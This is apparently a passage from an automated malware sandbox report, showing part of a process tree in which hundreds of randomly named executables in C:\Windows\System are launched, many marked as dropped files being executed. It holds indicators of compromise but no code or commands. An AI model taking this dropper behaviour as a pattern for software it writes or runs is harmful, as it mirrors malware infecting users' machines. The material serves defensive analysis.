  C:\Windows\System\pNtAZJI.exe
  2⤵
  - Executes dropped EXE
  PID:3872
- C:\Windows\System\rDlhrxE.exe
  C:\Windows\System\rDlhrxE.exe
  2⤵
  - Executes dropped EXE
  PID:3288
- C:\Windows\System\fsHkWnX.exe
  C:\Windows\System\fsHkWnX.exe
  2⤵
  - Executes dropped EXE
  PID:4460
- C:\Windows\System\EyiUdoq.exe
  C:\Windows\System\EyiUdoq.exe
  2⤵
  - Executes dropped EXE
  PID:376
- C:\Windows\System\vcczcai.exe
  C:\Windows\System\vcczcai.exe
  2⤵
  - Executes dropped EXE
  PID:628
- C:\Windows\System\brqWoVv.exe
  C:\Windows\System\brqWoVv.exe
  2⤵
  - Executes dropped EXE
  PID:4476
- C:\Windows\System\cVuFzQb.exe
  C:\Windows\System\cVuFzQb.exe
  2⤵
  - Executes dropped EXE
  PID:1860
- C:\Windows\System\cWIuRHY.exe
  C:\Windows\System\cWIuRHY.exe
  2⤵
  - Executes dropped EXE
  PID:4844
- C:\Windows\System\GSwHQrm.exe
  C:\Windows\System\GSwHQrm.exe
  2⤵
  - Executes dropped EXE
  PID:4364
- C:\Windows\System\rwbPull.exe
  C:\Windows\System\rwbPull.exe
  2⤵
  - Executes dropped EXE
  PID:2848
- C:\Windows\System\tTMXzQg.exe
  C:\Windows\System\tTMXzQg.exe
  2⤵
  - Executes dropped EXE
  PID:3200
- C:\Windows\System\awldndY.exe
  C:\Windows\System\awldndY.exe
  2⤵
  - Executes dropped EXE
  PID:4636
- C:\Windows\System\oXkxkzx.exe
  C:\Windows\System\oXkxkzx.exe
  2⤵
  - Executes dropped EXE
  PID:4620
- C:\Windows\System\lFLCQbe.exe
  C:\Windows\System\lFLCQbe.exe
  2⤵
  - Executes dropped EXE
  PID:2364
- C:\Windows\System\JZyJbli.exe
  C:\Windows\System\JZyJbli.exe
  2⤵
  - Executes dropped EXE
  PID:4992
- C:\Windows\System\FcSdktH.exe
  C:\Windows\System\FcSdktH.exe
  2⤵
  - Executes dropped EXE
  PID:3752
- C:\Windows\System\hmiQvCd.exe
  C:\Windows\System\hmiQvCd.exe
  2⤵
  - Executes dropped EXE
  PID:4412
- C:\Windows\System\zFREbzv.exe
  C:\Windows\System\zFREbzv.exe
  2⤵
  - Executes dropped EXE
  PID:4592
- C:\Windows\System\JsgLkQD.exe
  C:\Windows\System\JsgLkQD.exe
  2⤵
  - Executes dropped EXE
  PID:4208
- C:\Windows\System\tgrrcPA.exe
  C:\Windows\System\tgrrcPA.exe
  2⤵
  - Executes dropped EXE
  PID:4940
- C:\Windows\System\BhOVAXX.exe
  C:\Windows\System\BhOVAXX.exe
  2⤵
  - Executes dropped EXE
  PID:1360
- C:\Windows\System\njMZREn.exe
  C:\Windows\System\njMZREn.exe
  2⤵
  - Executes dropped EXE
  PID:2200
- C:\Windows\System\aghShlm.exe
  C:\Windows\System\aghShlm.exe
  2⤵
  - Executes dropped EXE
  PID:1668
- C:\Windows\System\hMcNzgo.exe
  C:\Windows\System\hMcNzgo.exe
  2⤵
  - Executes dropped EXE
  PID:3856
- C:\Windows\System\rOqUMYe.exe
  C:\Windows\System\rOqUMYe.exe
  2⤵
  - Executes dropped EXE
  PID:3816
- C:\Windows\System\ZkEykLH.exe
  C:\Windows\System\ZkEykLH.exe
  2⤵
  - Executes dropped EXE
  PID:4348
- C:\Windows\System\lxLjlxw.exe
  C:\Windows\System\lxLjlxw.exe
  2⤵
  - Executes dropped EXE
  PID:5124
- C:\Windows\System\pGgqXAo.exe
  C:\Windows\System\pGgqXAo.exe
  2⤵
  - Executes dropped EXE
  PID:5140
- C:\Windows\System\HzoagDc.exe
  C:\Windows\System\HzoagDc.exe
  2⤵
  - Executes dropped EXE
  PID:5164
- C:\Windows\System\GAzCBqq.exe
  C:\Windows\System\GAzCBqq.exe
  2⤵
  - Executes dropped EXE
  PID:5184
- C:\Windows\System\broPSYC.exe
  C:\Windows\System\broPSYC.exe
  2⤵
  - Executes dropped EXE
  PID:5216
- C:\Windows\System\XPCPrpl.exe
  C:\Windows\System\XPCPrpl.exe
  2⤵
  - Executes dropped EXE
  PID:5240
- C:\Windows\System\awuDbut.exe
  C:\Windows\System\awuDbut.exe
  2⤵
  - Executes dropped EXE
  PID:5256
- C:\Windows\System\CBJlcZb.exe
  C:\Windows\System\CBJlcZb.exe
  2⤵
  - Executes dropped EXE
  PID:5292
- C:\Windows\System\VKrmzZk.exe
  C:\Windows\System\VKrmzZk.exe
  2⤵
  - Executes dropped EXE
  PID:5328
- C:\Windows\System\rDSnDjv.exe
  C:\Windows\System\rDSnDjv.exe
  2⤵
  - Executes dropped EXE
  PID:5352
- C:\Windows\System\VhaisAJ.exe
  C:\Windows\System\VhaisAJ.exe
  2⤵
  PID:5384
- C:\Windows\System\srawauM.exe
  C:\Windows\System\srawauM.exe
  2⤵
  PID:5400
- C:\Windows\System\PHquVbK.exe
  C:\Windows\System\PHquVbK.exe
  2⤵
  PID:5440
- C:\Windows\System\rdnhJme.exe
  C:\Windows\System\rdnhJme.exe
  2⤵
  PID:5464
- C:\Windows\System\bGCtety.exe
  C:\Windows\System\bGCtety.exe
  2⤵
  PID:5504
- C:\Windows\System\upQPFAY.exe
  C:\Windows\System\upQPFAY.exe
  2⤵
  PID:5528
- C:\Windows\System\gGulHyy.exe
  C:\Windows\System\gGulHyy.exe
  2⤵
  PID:5552
- C:\Windows\System\CZizHxE.exe
  C:\Windows\System\CZizHxE.exe
  2⤵
  PID:5576
- C:\Windows\System\PKGVEvY.exe
  C:\Windows\System\PKGVEvY.exe
  2⤵
  PID:5592
- C:\Windows\System\eaUeLUN.exe
  C:\Windows\System\eaUeLUN.exe
  2⤵
  PID:5648
- C:\Windows\System\RfaAGeS.exe
  C:\Windows\System\RfaAGeS.exe
  2⤵
  PID:5664
- C:\Windows\System\rPBNhwA.exe
  C:\Windows\System\rPBNhwA.exe
  2⤵
  PID:5696
- C:\Windows\System\kWkqkMa.exe
  C:\Windows\System\kWkqkMa.exe
  2⤵
  PID:5716
- C:\Windows\System\iWuzXeG.exe
  C:\Windows\System\iWuzXeG.exe
  2⤵
  PID:5732
- C:\Windows\System\SFrXddm.exe
  C:\Windows\System\SFrXddm.exe
  2⤵
  PID:5756
- C:\Windows\System\EWIMPCa.exe
  C:\Windows\System\EWIMPCa.exe
  2⤵
  PID:5780
- C:\Windows\System\tAesfLz.exe
  C:\Windows\System\tAesfLz.exe
  2⤵
  PID:5800
- C:\Windows\System\nsFjHqB.exe
  C:\Windows\System\nsFjHqB.exe
  2⤵
  PID:5816
- C:\Windows\System\tpfjYTb.exe
  C:\Windows\System\tpfjYTb.exe
  2⤵
  PID:5860
- C:\Windows\System\COqboSZ.exe
  C:\Windows\System\COqboSZ.exe
  2⤵
  PID:5884
- C:\Windows\System\zHhSSOC.exe
  C:\Windows\System\zHhSSOC.exe
  2⤵
  PID:5904
- C:\Windows\System\pAfDeUk.exe
  C:\Windows\System\pAfDeUk.exe
  2⤵
  PID:5932
- C:\Windows\System\eEYyRkx.exe
  C:\Windows\System\eEYyRkx.exe
  2⤵
  PID:5948
- C:\Windows\System\hdSEHLV.exe
  C:\Windows\System\hdSEHLV.exe
  2⤵
  PID:5968
- C:\Windows\System\qhzDKOT.exe
  C:\Windows\System\qhzDKOT.exe
  2⤵
  PID:5984
- C:\Windows\System\tYUzPZg.exe
  C:\Windows\System\tYUzPZg.exe
  2⤵
  PID:6004
- C:\Windows\System\OMXCsAZ.exe
  C:\Windows\System\OMXCsAZ.exe
  2⤵
  PID:6036
- C:\Windows\System\kEqBafP.exe
  C:\Windows\System\kEqBafP.exe
  2⤵
  PID:6052
- C:\Windows\System\MdmZwbT.exe
  C:\Windows\System\MdmZwbT.exe
  2⤵
  PID:6076
- C:\Windows\System\IHpkbNw.exe
  C:\Windows\System\IHpkbNw.exe
  2⤵
  PID:6100
- C:\Windows\System\LdAjvoI.exe
  C:\Windows\System\LdAjvoI.exe
  2⤵
  PID:748
- C:\Windows\System\kBwdxim.exe
  C:\Windows\System\kBwdxim.exe
  2⤵
  PID:4444
- C:\Windows\System\bWFIgnn.exe
  C:\Windows\System\bWFIgnn.exe
  2⤵
  PID:2344
- C:\Windows\System\onuHNAT.exe
  C:\Windows\System\onuHNAT.exe
  2⤵
  PID:2288
- C:\Windows\System\tKaTcDc.exe
  C:\Windows\System\tKaTcDc.exe
  2⤵
  PID:2212
- C:\Windows\System\epQVwjs.exe
  C:\Windows\System\epQVwjs.exe
  2⤵
  PID:5248
- C:\Windows\System\YQuVqbv.exe
  C:\Windows\System\YQuVqbv.exe
  2⤵
  PID:1724
- C:\Windows\System\ZACTUtQ.exe
  C:\Windows\System\ZACTUtQ.exe
  2⤵
  PID:4264
- C:\Windows\System\HEZvSVs.exe
  C:\Windows\System\HEZvSVs.exe
  2⤵
  PID:2028
- C:\Windows\System\wppIitB.exe
  C:\Windows\System\wppIitB.exe
  2⤵
  PID:5272
- C:\Windows\System\BDvRVSP.exe
  C:\Windows\System\BDvRVSP.exe
  2⤵
  PID:5312
- C:\Windows\System\jXBlwML.exe
  C:\Windows\System\jXBlwML.exe
  2⤵
  PID:5980
- C:\Windows\System\ICQHbcT.exe
  C:\Windows\System\ICQHbcT.exe
  2⤵
  PID:6020
- C:\Windows\System\shoVZgM.exe
  C:\Windows\System\shoVZgM.exe
  2⤵
  PID:1836
- C:\Windows\System\zvaIjUu.exe
  C:\Windows\System\zvaIjUu.exe
  2⤵
  PID:5264
- C:\Windows\System\cCyDGcL.exe
  C:\Windows\System\cCyDGcL.exe
  2⤵
  PID:2352
- C:\Windows\System\aRhhPNz.exe
  C:\Windows\System\aRhhPNz.exe
  2⤵
  PID:5228
- C:\Windows\System\bTyqkgX.exe
  C:\Windows\System\bTyqkgX.exe
  2⤵
  PID:5364
- C:\Windows\System\XStaHPo.exe
  C:\Windows\System\XStaHPo.exe
  2⤵
  PID:4756
- C:\Windows\System\IBNIJZK.exe
  C:\Windows\System\IBNIJZK.exe
  2⤵
  PID:4608
- C:\Windows\System\ShcMwcI.exe
  C:\Windows\System\ShcMwcI.exe
  2⤵
  PID:4684
- C:\Windows\System\nzMjNsP.exe
  C:\Windows\System\nzMjNsP.exe
  2⤵
  PID:4952
- C:\Windows\System\waJmUOh.exe
  C:\Windows\System\waJmUOh.exe
  2⤵
  PID:4340
- C:\Windows\System\FCdbWxm.exe
  C:\Windows\System\FCdbWxm.exe
  2⤵
  PID:4372
- C:\Windows\System\dFnWhWm.exe
  C:\Windows\System\dFnWhWm.exe
  2⤵
  PID:3940
- C:\Windows\System\hNcyKfs.exe
  C:\Windows\System\hNcyKfs.exe
  2⤵
  PID:5024
- C:\Windows\System\GbzAXGZ.exe
  C:\Windows\System\GbzAXGZ.exe
  2⤵
  PID:4236
- C:\Windows\System\axQzZaj.exe
  C:\Windows\System\axQzZaj.exe
  2⤵
  PID:876
- C:\Windows\System\gLHTmSE.exe
  C:\Windows\System\gLHTmSE.exe
  2⤵
  PID:3800
- C:\Windows\System\gUQtRsR.exe
  C:\Windows\System\gUQtRsR.exe
  2⤵
  PID:5964
- C:\Windows\System\gHHhCcd.exe
  C:\Windows\System\gHHhCcd.exe
  2⤵
  PID:5636
- C:\Windows\System\udFiQZI.exe
  C:\Windows\System\udFiQZI.exe
  2⤵
  PID:4568
- C:\Windows\System\PtLlCAE.exe
  C:\Windows\System\PtLlCAE.exe
  2⤵
  PID:5392
- C:\Windows\System\Bbxnlyt.exe
  C:\Windows\System\Bbxnlyt.exe
  2⤵
  PID:708
- C:\Windows\System\vBJeqoB.exe
  C:\Windows\System\vBJeqoB.exe
  2⤵
  PID:4112
- C:\Windows\System\LdeuHkE.exe
  C:\Windows\System\LdeuHkE.exe
  2⤵
  PID:3228
- C:\Windows\System\jfVeWJA.exe
  C:\Windows\System\jfVeWJA.exe
  2⤵
  PID:468
- C:\Windows\System\nWhszRG.exe
  C:\Windows\System\nWhszRG.exe
  2⤵
  PID:6000
- C:\Windows\System\mhiGXGG.exe
  C:\Windows\System\mhiGXGG.exe
  2⤵
  PID:3096
- C:\Windows\System\GvxwqLz.exe
  C:\Windows\System\GvxwqLz.exe
  2⤵
  PID:5548
- C:\Windows\System\qHHAXJQ.exe
  C:\Windows\System\qHHAXJQ.exe
  2⤵
  PID:2136
- C:\Windows\System\MRJvSIJ.exe
  C:\Windows\System\MRJvSIJ.exe
  2⤵
  PID:2612
- C:\Windows\System\sKSXOcI.exe
  C:\Windows\System\sKSXOcI.exe
  2⤵
  PID:6108
- C:\Windows\System\yhMwJbV.exe
  C:\Windows\System\yhMwJbV.exe
  2⤵
  PID:1984
- C:\Windows\System\RFZZdWC.exe
  C:\Windows\System\RFZZdWC.exe
  2⤵
  PID:6072
- C:\Windows\System\BYsfjwr.exe
  C:\Windows\System\BYsfjwr.exe
  2⤵
  PID:2360
- C:\Windows\System\KNLDEaM.exe
  C:\Windows\System\KNLDEaM.exe
  2⤵
  PID:6160
- C:\Windows\System\cLQZCEQ.exe
  C:\Windows\System\cLQZCEQ.exe
  2⤵
  PID:6184
- C:\Windows\System\NoTdvlG.exe
  C:\Windows\System\NoTdvlG.exe
  2⤵
  PID:6200
- C:\Windows\System\veVnJCE.exe
  C:\Windows\System\veVnJCE.exe
  2⤵
  PID:6220
- C:\Windows\System\teTGFyo.exe
  C:\Windows\System\teTGFyo.exe
  2⤵
  PID:6312
- C:\Windows\System\vpaTjYc.exe
  C:\Windows\System\vpaTjYc.exe
  2⤵
  PID:6332
- C:\Windows\System\sKSPram.exe
  C:\Windows\System\sKSPram.exe
  2⤵
  PID:6356
- C:\Windows\System\LfIxgtD.exe
  C:\Windows\System\LfIxgtD.exe
  2⤵
  PID:6380
- C:\Windows\System\JbRoBts.exe
  C:\Windows\System\JbRoBts.exe
  2⤵
  PID:6400
- C:\Windows\System\vkLWfSD.exe
  C:\Windows\System\vkLWfSD.exe
  2⤵
  PID:6420
- C:\Windows\System\PcIPuiE.exe
  C:\Windows\System\PcIPuiE.exe
  2⤵
  PID:6440
- C:\Windows\System\ITixWha.exe
  C:\Windows\System\ITixWha.exe
  2⤵
  PID:6472
- C:\Windows\System\icLYKWN.exe
  C:\Windows\System\icLYKWN.exe
  2⤵
  PID:6492
- C:\Windows\System\KKeHlEs.exe
  C:\Windows\System\KKeHlEs.exe
  2⤵
  PID:6516
- C:\Windows\System\jlsCGwq.exe
  C:\Windows\System\jlsCGwq.exe
  2⤵
  PID:6536
- C:\Windows\System\qxcmlPw.exe
  C:\Windows\System\qxcmlPw.exe
  2⤵
  PID:6564
- C:\Windows\System\ibZoTsE.exe
  C:\Windows\System\ibZoTsE.exe
  2⤵
  PID:6584
- C:\Windows\System\UORHsmg.exe
  C:\Windows\System\UORHsmg.exe
  2⤵
  PID:6604
- C:\Windows\System\gNvilKV.exe
  C:\Windows\System\gNvilKV.exe
  2⤵
  PID:6624
- C:\Windows\System\DqcZNbO.exe
  C:\Windows\System\DqcZNbO.exe
  2⤵
  PID:6648
- C:\Windows\System\nlHBJba.exe
  C:\Windows\System\nlHBJba.exe
  2⤵
  PID:6668
- C:\Windows\System\ThdSuuX.exe
  C:\Windows\System\ThdSuuX.exe
  2⤵
  PID:6688
- C:\Windows\System\xyhQatu.exe
  C:\Windows\System\xyhQatu.exe
  2⤵
  PID:6708
- C:\Windows\System\VPMItIL.exe
  C:\Windows\System\VPMItIL.exe
  2⤵
  PID:6732
- C:\Windows\System\TbAikGy.exe
  C:\Windows\System\TbAikGy.exe
  2⤵
  PID:6752
- C:\Windows\System\XoKJAPm.exe
  C:\Windows\System\XoKJAPm.exe
  2⤵
  PID:6772
- C:\Windows\System\VVOwnMr.exe
  C:\Windows\System\VVOwnMr.exe
  2⤵
  PID:6800
- C:\Windows\System\NMUNaUq.exe
  C:\Windows\System\NMUNaUq.exe
  2⤵
  PID:6816
- C:\Windows\System\SnwlEjV.exe
  C:\Windows\System\SnwlEjV.exe
  2⤵
  PID:6836
- C:\Windows\System\IqbWVQR.exe
  C:\Windows\System\IqbWVQR.exe
  2⤵
  PID:6868
- C:\Windows\System\JgpjjFy.exe
  C:\Windows\System\JgpjjFy.exe
  2⤵
  PID:6896
- C:\Windows\System\iXzJgxt.exe
  C:\Windows\System\iXzJgxt.exe
  2⤵
  PID:6916
- C:\Windows\System\PVMvXOE.exe
  C:\Windows\System\PVMvXOE.exe
  2⤵
  PID:6936
- C:\Windows\System\OGkHrfy.exe
  C:\Windows\System\OGkHrfy.exe
  2⤵
  PID:6952
- C:\Windows\System\fNojAcm.exe
  C:\Windows\System\fNojAcm.exe
  2⤵
  PID:6972
- C:\Windows\System\nLJdsxA.exe
  C:\Windows\System\nLJdsxA.exe
  2⤵
  PID:6996
- C:\Windows\System\SOFFhwl.exe
  C:\Windows\System\SOFFhwl.exe
  2⤵
  PID:7012
- C:\Windows\System\TZpZZOm.exe
  C:\Windows\System\TZpZZOm.exe
  2⤵
  PID:7040
- C:\Windows\System\INaUOwz.exe
  C:\Windows\System\INaUOwz.exe
  2⤵
  PID:7060
- C:\Windows\System\dBkidOt.exe
  C:\Windows\System\dBkidOt.exe
  2⤵
  PID:7076
- C:\Windows\System\bCmIEni.exe
  C:\Windows\System\bCmIEni.exe
  2⤵
  PID:7096
- C:\Windows\System\kMEuCaF.exe
  C:\Windows\System\kMEuCaF.exe
  2⤵
  PID:7116
- C:\Windows\System\ypQBYIv.exe
  C:\Windows\System\ypQBYIv.exe
  2⤵
  PID:7140
- C:\Windows\System\mfMNEhx.exe
  C:\Windows\System\mfMNEhx.exe
  2⤵
  PID:5828
- C:\Windows\System\OVzLguw.exe
  C:\Windows\System\OVzLguw.exe
  2⤵
  PID:5416
- C:\Windows\System\UfnXibm.exe
  C:\Windows\System\UfnXibm.exe
  2⤵
  PID:5764
- C:\Windows\System\ndiKOon.exe
  C:\Windows\System\ndiKOon.exe
  2⤵
  PID:4308
- C:\Windows\System\KsuTyQP.exe
  C:\Windows\System\KsuTyQP.exe
  2⤵
  PID:1164
- C:\Windows\System\Jrqldxr.exe
  C:\Windows\System\Jrqldxr.exe
  2⤵
  PID:6012
- C:\Windows\System\zsqAGDF.exe
  C:\Windows\System\zsqAGDF.exe
  2⤵
  PID:4388
- C:\Windows\System\ajMIIOY.exe
  C:\Windows\System\ajMIIOY.exe
  2⤵
  PID:6168
- C:\Windows\System\phTuvpE.exe
  C:\Windows\System\phTuvpE.exe
  2⤵
  PID:6328
- C:\Windows\System\VxGsHuM.exe
  C:\Windows\System\VxGsHuM.exe
  2⤵
  PID:4152
- C:\Windows\System\hFJLAip.exe
  C:\Windows\System\hFJLAip.exe
  2⤵
  PID:6376
- C:\Windows\System\aVcAvXW.exe
  C:\Windows\System\aVcAvXW.exe
  2⤵
  PID:6416
- C:\Windows\System\UuJUTVA.exe
  C:\Windows\System\UuJUTVA.exe
  2⤵
  PID:6620
- C:\Windows\System\TVFqbsX.exe
  C:\Windows\System\TVFqbsX.exe
  2⤵
  PID:6308
- C:\Windows\System\GZstBoA.exe
  C:\Windows\System\GZstBoA.exe
  2⤵
  PID:6724
- C:\Windows\System\goGcydl.exe
  C:\Windows\System\goGcydl.exe
  2⤵
  PID:6808
- C:\Windows\System\MTwCKfo.exe
  C:\Windows\System\MTwCKfo.exe
  2⤵
  PID:6288
- C:\Windows\System\tisRKRX.exe
  C:\Windows\System\tisRKRX.exe
  2⤵
  PID:6512
- C:\Windows\System\PFLRgVJ.exe
  C:\Windows\System\PFLRgVJ.exe
  2⤵
  PID:6544
- C:\Windows\System\oMrNjij.exe
  C:\Windows\System\oMrNjij.exe
  2⤵
  PID:6576
- C:\Windows\System\ounWLyK.exe
  C:\Windows\System\ounWLyK.exe
  2⤵
  PID:6932
- C:\Windows\System\pORUUwb.exe
  C:\Windows\System\pORUUwb.exe
  2⤵
  PID:6616
- C:\Windows\System\SDqeAox.exe
  C:\Windows\System\SDqeAox.exe
  2⤵
  PID:7048
- C:\Windows\System\fCQwnHl.exe
  C:\Windows\System\fCQwnHl.exe
  2⤵
  PID:7088
- C:\Windows\System\oHRFPgH.exe
  C:\Windows\System\oHRFPgH.exe
  2⤵
  PID:7172
- C:\Windows\System\RYGRmqH.exe
  C:\Windows\System\RYGRmqH.exe
  2⤵
  PID:7188
- C:\Windows\System\ZcWKLhY.exe
  C:\Windows\System\ZcWKLhY.exe
  2⤵
  PID:7208
- C:\Windows\System\KMbhVhl.exe
  C:\Windows\System\KMbhVhl.exe
  2⤵
  PID:7224
- C:\Windows\System\rzwsTyY.exe
  C:\Windows\System\rzwsTyY.exe
  2⤵
  PID:7248
- C:\Windows\System\JpUdfcj.exe
  C:\Windows\System\JpUdfcj.exe
  2⤵
  PID:7264
- C:\Windows\System\JTksHpZ.exe
  C:\Windows\System\JTksHpZ.exe
  2⤵
  PID:7288
- C:\Windows\System\gMmkqpe.exe
  C:\Windows\System\gMmkqpe.exe
  2⤵
  PID:7304
- C:\Windows\System\UEpacnr.exe
  C:\Windows\System\UEpacnr.exe
  2⤵
  PID:7336
- C:\Windows\System\OzTlIrO.exe
  C:\Windows\System\OzTlIrO.exe
  2⤵
  PID:7352
- C:\Windows\System\ZxbmXGB.exe
  C:\Windows\System\ZxbmXGB.exe
  2⤵
  PID:7376
- C:\Windows\System\bowEhgz.exe
  C:\Windows\System\bowEhgz.exe
  2⤵
  PID:7396
- C:\Windows\System\AZnuTAk.exe
  C:\Windows\System\AZnuTAk.exe
  2⤵
  PID:7416
- C:\Windows\System\SKoWKpu.exe
  C:\Windows\System\SKoWKpu.exe
  2⤵
  PID:7440
- C:\Windows\System\xNrDXVG.exe
  C:\Windows\System\xNrDXVG.exe
  2⤵
  PID:7456
- C:\Windows\System\NyaOKLY.exe
  C:\Windows\System\NyaOKLY.exe
  2⤵
  PID:7480
- C:\Windows\System\wFMvCEr.exe
  C:\Windows\System\wFMvCEr.exe
  2⤵
  PID:7500
- C:\Windows\System\zvKbYDB.exe
  C:\Windows\System\zvKbYDB.exe
  2⤵
  PID:7520
- C:\Windows\System\rIYIUIp.exe
  C:\Windows\System\rIYIUIp.exe
  2⤵
  PID:7536
- C:\Windows\System\fiLoTDR.exe
  C:\Windows\System\fiLoTDR.exe
  2⤵
  PID:7556
- C:\Windows\System\PxSYRzd.exe
  C:\Windows\System\PxSYRzd.exe
  2⤵
  PID:7576
- C:\Windows\System\RoNZziR.exe
  C:\Windows\System\RoNZziR.exe
  2⤵
  PID:7604
- C:\Windows\System\RnjmOyD.exe
  C:\Windows\System\RnjmOyD.exe
  2⤵
  PID:7624
- C:\Windows\System\reJyHZN.exe
  C:\Windows\System\reJyHZN.exe
  2⤵
  PID:7644
- C:\Windows\System\kBNtlLx.exe
  C:\Windows\System\kBNtlLx.exe
  2⤵
  PID:7672
- C:\Windows\System\KLmjBee.exe
  C:\Windows\System\KLmjBee.exe
  2⤵
  PID:7688
- C:\Windows\System\TrrRhVY.exe
  C:\Windows\System\TrrRhVY.exe
  2⤵
  PID:7708
- C:\Windows\System\tlBGzne.exe
  C:\Windows\System\tlBGzne.exe
  2⤵
  PID:7728
- C:\Windows\System\dAMedsZ.exe
  C:\Windows\System\dAMedsZ.exe
  2⤵
  PID:7748
- C:\Windows\System\icWxvoL.exe
  C:\Windows\System\icWxvoL.exe
  2⤵
  PID:7764
- C:\Windows\System\cyzLKbs.exe
  C:\Windows\System\cyzLKbs.exe
  2⤵
  PID:7788
- C:\Windows\System\rCcTzFd.exe
  C:\Windows\System\rCcTzFd.exe
  2⤵
  PID:7812
- C:\Windows\System\apCGJCa.exe
  C:\Windows\System\apCGJCa.exe
  2⤵
  PID:7832
- C:\Windows\System\weCXprU.exe
  C:\Windows\System\weCXprU.exe
  2⤵
  PID:7852
- C:\Windows\System\dusBpvT.exe
  C:\Windows\System\dusBpvT.exe
  2⤵
  PID:7872
- C:\Windows\System\ZSPMxCc.exe
  C:\Windows\System\ZSPMxCc.exe
  2⤵
  PID:7888
- C:\Windows\System\ADzFbSi.exe
  C:\Windows\System\ADzFbSi.exe
  2⤵
  PID:7908
- C:\Windows\System\cJLoREX.exe
  C:\Windows\System\cJLoREX.exe
  2⤵
  PID:7928
- C:\Windows\System\ppLFRjX.exe
  C:\Windows\System\ppLFRjX.exe
  2⤵
  PID:7952
- C:\Windows\System\nBudxsX.exe
  C:\Windows\System\nBudxsX.exe
  2⤵
  PID:7968
- C:\Windows\System\SWWHrnT.exe
  C:\Windows\System\SWWHrnT.exe
  2⤵
  PID:7992
- C:\Windows\System\yIkKbAq.exe
  C:\Windows\System\yIkKbAq.exe
  2⤵
  PID:8012
- C:\Windows\System\xcBJaDR.exe
  C:\Windows\System\xcBJaDR.exe
  2⤵
  PID:8032
- C:\Windows\System\QxojWun.exe
  C:\Windows\System\QxojWun.exe
  2⤵
  PID:8048
- C:\Windows\System\MwGWMWd.exe
  C:\Windows\System\MwGWMWd.exe
  2⤵
  PID:8068
- C:\Windows\System\MBYhYBJ.exe
  C:\Windows\System\MBYhYBJ.exe
  2⤵
  PID:8092
- C:\Windows\System\sPsOvbZ.exe
  C:\Windows\System\sPsOvbZ.exe
  2⤵
  PID:8112
- C:\Windows\System\VZCMAtU.exe
  C:\Windows\System\VZCMAtU.exe
  2⤵
  PID:8136
- C:\Windows\System\LBkwFnM.exe
  C:\Windows\System\LBkwFnM.exe
  2⤵
  PID:8152
- C:\Windows\System\LVzKNCy.exe
  C:\Windows\System\LVzKNCy.exe
  2⤵
  PID:8184
- C:\Windows\System\prnKlYn.exe
  C:\Windows\System\prnKlYn.exe
  2⤵
  PID:6828
- C:\Windows\System\ThqVpNm.exe
  C:\Windows\System\ThqVpNm.exe
  2⤵
  PID:5340
- C:\Windows\System\YVlICXS.exe
  C:\Windows\System\YVlICXS.exe
  2⤵
  PID:6152
- C:\Windows\System\eTgNoUM.exe
  C:\Windows\System\eTgNoUM.exe
  2⤵
  PID:6908
- C:\Windows\System\mmPgqel.exe
  C:\Windows\System\mmPgqel.exe
  2⤵
  PID:6208
- C:\Windows\System\WsFEaKA.exe
  C:\Windows\System\WsFEaKA.exe
  2⤵
  PID:7036
- C:\Windows\System\KGxzFSz.exe
  C:\Windows\System\KGxzFSz.exe
  2⤵
  PID:6280
- C:\Windows\System\uFaJRdR.exe
  C:\Windows\System\uFaJRdR.exe
  2⤵
  PID:6912
- C:\Windows\System\fzxMWTH.exe
  C:\Windows\System\fzxMWTH.exe
  2⤵
  PID:7136
- C:\Windows\System\YxZvRxW.exe
  C:\Windows\System\YxZvRxW.exe
  2⤵
  PID:7108
- C:\Windows\System\XOUpRJz.exe
  C:\Windows\System\XOUpRJz.exe
  2⤵
  PID:7232
- C:\Windows\System\ysuuQmS.exe
  C:\Windows\System\ysuuQmS.exe
  2⤵
  PID:5568
- C:\Windows\System\sjyNIBU.exe
  C:\Windows\System\sjyNIBU.exe
  2⤵
  PID:7296
- C:\Windows\System\OQCnpyH.exe
  C:\Windows\System\OQCnpyH.exe
  2⤵
  PID:7364
- C:\Windows\System\ImEJJjI.exe
  C:\Windows\System\ImEJJjI.exe
  2⤵
  PID:4584
- C:\Windows\System\qedMZwC.exe
  C:\Windows\System\qedMZwC.exe
  2⤵
  PID:6928
- C:\Windows\System\ZIsXkdO.exe
  C:\Windows\System\ZIsXkdO.exe
  2⤵
  PID:7472
- C:\Windows\System\dcolkYC.exe
  C:\Windows\System\dcolkYC.exe
  2⤵
  PID:6992
- C:\Windows\System\IuNYAwx.exe
  C:\Windows\System\IuNYAwx.exe
  2⤵
  PID:7568
- C:\Windows\System\EYDsubH.exe
  C:\Windows\System\EYDsubH.exe
  2⤵
  PID:6856
- C:\Windows\System\HKScYSX.exe
  C:\Windows\System\HKScYSX.exe
  2⤵
  PID:7704
- C:\Windows\System\FDVCoyo.exe
  C:\Windows\System\FDVCoyo.exe
  2⤵
  PID:7784
- C:\Windows\System\ThrxjRO.exe
  C:\Windows\System\ThrxjRO.exe
  2⤵
  PID:6660
- C:\Windows\System\yFZGouu.exe
  C:\Windows\System\yFZGouu.exe
  2⤵
  PID:7828
- C:\Windows\System\rPjUKUf.exe
  C:\Windows\System\rPjUKUf.exe
  2⤵
  PID:8212
- C:\Windows\System\doodPne.exe
  C:\Windows\System\doodPne.exe
  2⤵
  PID:8232
- C:\Windows\System\ehHbGnr.exe
  C:\Windows\System\ehHbGnr.exe
  2⤵
  PID:8256
- C:\Windows\System\XzWiKWB.exe
  C:\Windows\System\XzWiKWB.exe
  2⤵
  PID:8276
- C:\Windows\System\SMmYZGg.exe
  C:\Windows\System\SMmYZGg.exe
  2⤵
  PID:8292
- C:\Windows\System\WazLdJf.exe
  C:\Windows\System\WazLdJf.exe
  2⤵
  PID:8316
- C:\Windows\System\LpfIqIW.exe
  C:\Windows\System\LpfIqIW.exe
  2⤵
  PID:8336
- C:\Windows\System\kwqtZFK.exe
  C:\Windows\System\kwqtZFK.exe
  2⤵
  PID:8356
- C:\Windows\System\uotFdis.exe
  C:\Windows\System\uotFdis.exe
  2⤵
  PID:8380
- C:\Windows\System\XFECpAt.exe
  C:\Windows\System\XFECpAt.exe
  2⤵
  PID:8404
- C:\Windows\System\KHhdaoS.exe
  C:\Windows\System\KHhdaoS.exe
  2⤵
  PID:8428
- C:\Windows\System\pPNDZMp.exe
  C:\Windows\System\pPNDZMp.exe
  2⤵
  PID:8448
- C:\Windows\System\XChpyHr.exe
  C:\Windows\System\XChpyHr.exe
  2⤵
  PID:8468
- C:\Windows\System\BClMoMP.exe
  C:\Windows\System\BClMoMP.exe
  2⤵
  PID:8488
- C:\Windows\System\RfqvhdF.exe
  C:\Windows\System\RfqvhdF.exe
  2⤵
  PID:8508
- C:\Windows\System\MqhYhux.exe
  C:\Windows\System\MqhYhux.exe
